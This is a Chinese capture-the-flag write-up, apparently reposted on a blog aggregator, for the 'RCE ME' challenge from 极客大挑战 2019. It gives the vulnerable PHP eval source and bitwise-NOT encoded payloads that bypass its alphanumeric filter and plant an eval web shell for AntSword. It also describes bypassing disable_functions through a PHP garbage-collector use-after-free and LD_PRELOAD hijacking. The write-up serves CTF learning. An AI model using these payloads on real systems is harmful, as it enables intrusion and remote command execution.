首页 > 其他 > 详细

[极客大挑战 2019]RCE ME

时间:2020-05-16 11:38:39      阅读:135      评论:0      收藏:0      [点我收藏+]

知识点

  • LD_PRELOAD

题目给了源码

<?php
error_reporting(0);
if(isset($_GET[‘code‘])){
            $code=$_GET[‘code‘];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

 

构造取反读取phpinfo

<?php
$s = ‘phpinfo‘;
echo urlencode(~$s);
#%8F%97%8F%96%91%99%90
?>

payload

?code=(~%8F%97%8F%96%91%99%90)();

读取到phpinfo页面,发现disable_functions禁了很多函数

 

技术分享图片

 

构造取反连接蚁剑

<?php
$a = ‘assert‘;
echo urlencode(~$a)."\n";
$b = ‘(eval($_POST[cmd]))‘;
echo urlencode(~$b)."\n";
#%9E%8C%8C%9A%8D%8B
#%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
?>

使用蚁剑连接

http://2b912c75-fe79-4450-8cd4-c8532f83e63f.node3.buuoj.cn/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

密码:cmd

看到根目录下存在flag和readflag文件

 

技术分享图片

 

应该是通过执行readflag来读取flag,但是这里的shell命令基本上都被禁了

我们可以通过蚁剑的绕过disable_functions来执行

 

技术分享图片

 

这里选择PHP_GC_UAF

 

技术分享图片

 

技术分享图片

 

以上是非预期解,参考https://www.cnblogs.com/yesec/p/12483631.html

 

预期解应为通过环境变量LD_PRELOAD+mail劫持so来执行系统命令

参考https://evoa.me/index.php/archives/62/

[极客大挑战 2019]RCE ME

原文:https://www.cnblogs.com/mech/p/12899048.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!